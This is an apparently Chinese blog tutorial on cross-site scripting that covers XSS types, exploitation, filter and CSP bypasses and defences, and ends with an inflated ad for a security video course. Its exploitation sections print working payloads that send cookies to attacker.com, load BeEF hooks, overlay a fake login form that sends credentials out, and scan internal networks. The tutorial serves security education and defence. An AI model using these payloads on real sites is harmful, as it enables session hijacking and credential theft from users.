“XSS到底有几种”“反射型和DOM型有什么区别”“XSS能做什么危害”XSS跨站脚本攻击是Web安全中最经典、最常见的漏洞类型之一也是OWASP Top 10的常客。但很多人对XSS的理解停留在弹个框不知道XSS的真实危害有多大。我第一次接触XSS的时候也觉得不就是弹个alert吗有什么大不了的。后来深入学习才发现XSS能做的事情太多了窃取Cookie、劫持会话、钓鱼攻击、键盘记录、内网探测……甚至可以直接getshell。今天我把XSS的所有知识点整理成一篇完整指南。从三种类型的原理到利用手法、绕过技巧、防御方案一篇讲透。看完这篇你对XSS的认知会提升一个档次。⚠️ 注意本文所有技术仅用于授权的安全测试。未经授权的XSS攻击是违法行为。一、XSS基础什么是XSS XSSCross-Site Scripting跨站脚本攻击攻击者在Web页面中注入恶意脚本当用户访问页面时脚本在浏览器中执行从而窃取用户信息、劫持会话或执行恶意操作。XSS三种类型对比类型原理存储位置触发方式危害程度反射型参数值直接回显到页面URL参数用户点击恶意链接中存储型恶意脚本存入数据库数据库用户访问包含脚本的页面高DOM型JS直接操作DOM前端DOM环境JS解析执行中~高XSS的危害1. 窃取Cookie → document.cookie → 发送给攻击者 2. 会话劫持 → 利用窃取的Cookie登录用户账号 3. 钓鱼攻击 → 伪造登录框诱导用户输入密码 4. 键盘记录 → 监听用户输入 5. 页面篡改 → 修改页面内容传播恶意信息 6. 内网探测 → 利用用户浏览器扫描内网 7. 重定向 → 跳转到钓鱼/恶意网站 8. CSRF配合 → 绕过CSRF Token执行敏感操作 9. 蠕虫传播 → 自传播形成XSS蠕虫 10. 浏览器漏洞 → 配合浏览器漏洞getshell二、反射型XSS原理 反射型XSS的payload藏在URL参数中服务端将参数值直接输出到页面。用户点击恶意链接后脚本在用户浏览器中执行。用户访问 → http://target.com/search?qscriptalert(1)/script ↓ 服务端接收q参数 → 拼接到HTML中返回 ↓ 浏览器解析HTML → 执行script标签 → XSS触发常见注入点注入点示例URL说明搜索框/search?qtest最常见错误页/error?msg错误信息错误信息回显跳转页/jump?urlxxxURL参数回显用户输入/user?nametest用户名/昵称回显表单回显提交后表单值回显POST参数简单测试方法步骤1找一个有输入的地方搜索框、查询参数 步骤2输入特殊字符测试123 步骤3查看页面源码看这些字符的输出形式 步骤4如果原样输出 → 存在XSS 步骤5构造payload验证反射型XSS利用示例!-- 基础payload --scriptalert(1)/script!-- 窃取Cookie --scriptdocument.locationhttp://attacker.com/steal?cdocument.cookie/script!-- 加载外部脚本 --scriptsrchttp://attacker.com/xss.js/script!-- 图片标签 --imgsrcxonerrordocument.locationhttp://attacker.com/steal?cdocument.cookie!-- 短链接/二维码传播 --# 将恶意URL生成短链接或二维码诱导用户点击 提示反射型XSS需要用户点击恶意链接才能触发。实际攻击中通常配合社会工程学比如伪装成系统通知邮件诱导用户点击。三、存储型XSS原理 存储型XSS的payload被存入数据库或文件当用户访问包含该数据的页面时脚本自动执行。不需要用户点击特殊链接危害更大。攻击者提交恶意评论 → 存入数据库 ↓ 普通用户访问评论页面 → 页面从数据库读取评论内容 ↓ 浏览器解析评论内容 → 执行恶意脚本 → XSS触发常见注入点场景注入位置影响范围评论/留言评论内容所有查看评论的人用户资料昵称/签名/简介查看资料的人论坛帖子帖子内容所有浏览帖子的人订单备注订单备注/留言管理员和用户站内信消息内容收信人文件上传文件名/EXIF信息查看文件的人存储型XSS危害 存储型XSS的危害远大于反射型因为不需要诱导用户点击特殊链接所有访问页面的用户都会中招可以形成蠕虫指数级传播经典案例 - 微博XSS蠕虫几小时内感染数万用户 - 贴吧XSS事件大规模传播恶意信息 - 论坛存储型XSS窃取管理员Cookie拿后台权限存储型XSS利用思路第一步找到存储型XSS点评论/资料/帖子 第二步注入恶意脚本 第三步等待管理员或普通用户访问 第四步利用BeEF等平台控制用户浏览器 第五步进一步攻击窃取数据/内网探测四、DOM型XSS原理 DOM型XSS不经过服务端完全由前端JavaScript操作DOM引起。服务端返回的页面是正常的JS从URL或其他地方获取数据后插入到DOM中导致脚本执行。用户访问 → http://target.com/page#img srcx onerroralert(1) ↓ 服务端返回正常HTML没有payload ↓ 前端JS读取 location.hash → 插入到DOM中 ↓ 浏览器解析插入的内容 → 执行脚本 → XSS触发常见危险函数和属性函数/属性作用危险点innerHTML设置HTML内容会解析HTML标签outerHTML设置外层HTML会解析HTML标签document.write写入文档会解析HTMLdocument.writeln写入文档换行会解析HTMLsrc属性加载资源可执行JShref属性链接地址javascript:伪协议eval()执行JS代码直接执行setTimeout/setInterval定时执行字符串形式会执行locationURL操作可跳转/执行DOM XSS常见数据源sink数据源说明location.hashURL的#部分location.searchURL查询参数location.href完整URLdocument.URL完整URLdocument.referrer来源页面window.name窗口名称localStorage/sessionStorage本地存储postMessage跨窗口消息DOM型XSS示例!-- 漏洞代码 --dividcontent/divscriptvarhashlocation.hash.slice(1);document.getElementById(content).innerHTMLhash;/script!-- 利用方式 --http://target.com/page#imgsrcxonerroralert(1) 提示DOM型XSS比较隐蔽因为payload不经过服务端WAF和日志可能都检测不到。需要审计前端JS代码才能发现。五、XSS进阶利用1. Cookie窃取// 基础窃取newImage().srchttp://attacker.com/steal?cdocument.cookie;// 带页面URLnewImage().srchttp://attacker.com/steal?cdocument.cookieulocation.href;// 使用BeEF平台最强大的XSS利用框架script srchttp://attacker.com:3000/hook.js/script⚠️ 注意如果Cookie设置了HttpOnly属性JS无法读取document.cookie。但XSS仍然可以做很多其他事情。2. 会话劫持// 窃取Cookie后攻击者设置Cookie以用户身份登录// 或者直接利用XSS发起请求同源策略内// XSS发起CSRF请求携带用户CookievarxhrnewXMLHttpRequest();xhr.open(POST,/change_password,true);xhr.setRequestHeader(Content-Type,application/x-www-form-urlencoded);xhr.send(new_passwordhacked);3. BeEF框架 BeEFBrowser Exploitation Framework是最强大的XSS利用平台。功能说明浏览器指纹收集浏览器信息Cookie窃取获取Cookie页面劫持替换页面内容键盘记录记录用户输入内网扫描扫描内网IP和端口社工攻击弹窗钓鱼持久化利用localStorage等浏览器插件利用插件漏洞# 启动BeEFcd/usr/share/beef-xss/ ./beef# 默认管理界面http://127.0.0.1:3000/ui/panel# 默认账号beef / beef# 注入代码scriptsrchttp://attacker_ip:3000/hook.js/script4. XSS钓鱼// 伪造登录框varloginBoxdocument.createElement(div);loginBox.innerHTMLdiv styleposition:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.5);z-index:9999; div styleposition:absolute;top:50%;left:50%;transform:translate(-50%,-50%);background:white;padding:30px;border-radius:5px; h3登录过期请重新登录/h3 form onsubmitsteal(event) input typetext idu placeholder用户名br input typepassword idp placeholder密码br button typesubmit登录/button /form /div /div;document.body.appendChild(loginBox);functionsteal(e){e.preventDefault();varudocument.getElementById(u).value;varpdocument.getElementById(p).value;newImage().srchttp://attacker.com/phish?uupp;alert(登录成功);loginBox.remove();}5. 内网探测// 利用XSS扫描内网端口functionscan(ip,port){varimgnewImage();img.onloadfunction(){// 端口开放有图片返回newImage().srchttp://attacker.com/scan?ipip:port open;};img.onerrorfunction(){// 端口可能开放连接成功但不是图片};img.srchttp://ip:port/favicon.ico;}// 扫描常见内网IPfor(vari1;i255;i){scan(192.168.1.i,80);}六、XSS绕过技巧1. 标签过滤绕过!-- script被过滤使用其他标签 --imgsrcxonerroralert(1)svgonloadalert(1)bodyonloadalert(1)inputonfocusalert(1)autofocusdetailsopenontogglealert(1)videosrcxonerroralert(1)audiosrcxonerroralert(1)marqueeonstartalert(1)iframesrcjavascript:alert(1)2. 事件过滤绕过!-- 常见事件 --onerror onload onfocus onblur onclick onmouseover oninput onchange onkeydown onkeyup onsubmit ontoggle onpointerover onanimationstart ontransitionend3. 关键字过滤绕过// alert被过滤confirm(1)prompt(1)eval(alert(1))window[alert](1)Function(alert(1))()// document被过滤window[document].cookiethis[document].cookie top[document].cookie// script被过滤scrscriptiptalert(1)/scr/scriptipt!--双写绕过--4. 编码绕过!-- HTML实体编码 --imgsrcxonerror#97;#108;#101;#114;#116;#40;#49;#41;!-- Unicode编码 --imgsrcxonerror\u0061\u006c\u0065\u0072\u0074(1)!-- base64编码 --iframesrcdata:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg!-- JSFuck --imgsrcxonerror[][(![][])[[]]...5. 长度限制绕过!-- 方法1利用location.hash --imgsrcxonerroreval(location.hash.slice(1))#alert(1)!-- 方法2利用window.name --!-- 配合跨窗口设置name --imgsrcxonerroreval(name)!-- 方法3加载外部脚本 --scriptsrc//xss.ht/scriptscriptsrc//短域名/script 更多XSS绕过手法可以参考WAF绕过文章中的XSS部分。七、CSP与XSS防御什么是CSP CSPContent Security Policy内容安全策略通过限制页面可以加载哪些资源从根本上减少XSS的危害。CSP常见指令指令作用default-src默认加载策略script-src脚本来源限制style-src样式来源限制img-src图片来源限制font-src字体来源限制connect-srcAjax/WebSocket来源frame-src框架来源限制object-src插件来源限制report-uri违规报告地址CSP绕过!-- 方法1利用允许的源加载脚本 --!-- 如果允许cdn.example.com --scriptsrchttps://cdn.example.com/evil.js/script!-- 方法2利用JSONP --!-- 白名单域名有JSONP接口 --scriptsrchttps://cdn.example.com/api?callbackalert(1)///script!-- 方法3利用unsafe-inline --!-- 如果设置了unsafe-inline内联脚本可以执行 --!-- 方法4base标签劫持 --basehrefhttp://attacker.com/!-- 相对路径的脚本会从attacker.com加载 --!-- 方法5location跳转 --metahttp-equivrefreshcontent0;urljavascript:alert(1)八、XSS防御方案防御层级第一层输入验证 ├── 白名单验证推荐 ├── 黑名单过滤不推荐容易绕过 └── 长度/格式限制 第二层输出编码 ├── HTML编码htmlspecialchars ├── JS编码encodeURIComponent ├── URL编码 └── CSS编码 第三层Cookie防护 ├── HttpOnly防止JS读取Cookie ├── Secure仅HTTPS传输 └── SameSite防止CSRF 第四层CSP策略 ├── script-src限制脚本来源 ├── 禁止内联脚本 └── 启用报告模式 第五层WAF防护 ├── XSS规则检测 └── 行为分析输出编码示例// PHP HTML编码echohtmlspecialchars($user_input,ENT_QUOTES,UTF-8);// Python HTML编码Django/Jinja2默认自动转义{{user_input}}// Java HTML编码// 使用StringEscapeUtils.escapeHtml()// JavaScript输出编码// 不要用innerHTML插入用户输入用textContentdocument.getElementById(box).textContentuserInput; 提示防御XSS的核心原则是不信任任何用户输入所有输出都要做适当的编码。编码方式取决于输出的上下文HTML/JS/URL/CSS。学习资源2026年最新版本全网最全的网安视频教程。耗时半年打造之前都是内部资源专业方面绝对可以秒杀国内99%的机构和个人教学全网独一份你不可能在网上找到这么专业的教程。内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识而且包含了中级的各种渗透技术并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频200多G的资源不用担心学不全。包含攻击与防守、漏洞挖掘、CTF比赛等技术点1、知识库价值深度本知识库超越常规工具手册深入剖析攻击技术的底层原理与高级防御策略并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等提供了独到的技术视角和实战验证过的对抗方案。广度面向企业安全建设的核心场景渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点是应对复杂攻防挑战的实用指南。实战性知识库内容源于真实攻防对抗和大型演练实践通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。2、部分核心内容展示独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式既夯实基础技能更深入高阶对抗技术。内容组织紧密结合攻防场景辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合是你学习过程中好帮手。网络安全意识Linux操作系统WEB架构基础与HTTP协议Web渗透测试渗透测试案例分享渗透测试实战技巧攻防对战实战CTF之MISC实战讲解3、适合学习的人群一、基础适配人群零基础转型者适合计算机零基础但愿意系统学习的人群资料覆盖从网络协议、操作系统到渗透测试的完整知识链开发/运维人员具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能实现职业方向拓展或者转行就业应届毕业生计算机相关专业学生可通过资料构建完整的网络安全知识体系缩短企业用人适应期二、能力提升适配1、技术爱好者适合对攻防技术有强烈兴趣希望掌握漏洞挖掘、渗透测试等实战技能的学习者2、安全从业者帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力3、合规需求者包含等保规范、安全策略制定等内容适合需要应对合规审计的企业人员因篇幅有限仅展示部分资料完整版的网络安全学习资料已经上传戳下面拿这些东西我都可以免费分享给大家需要的可以点这里自取:————————————————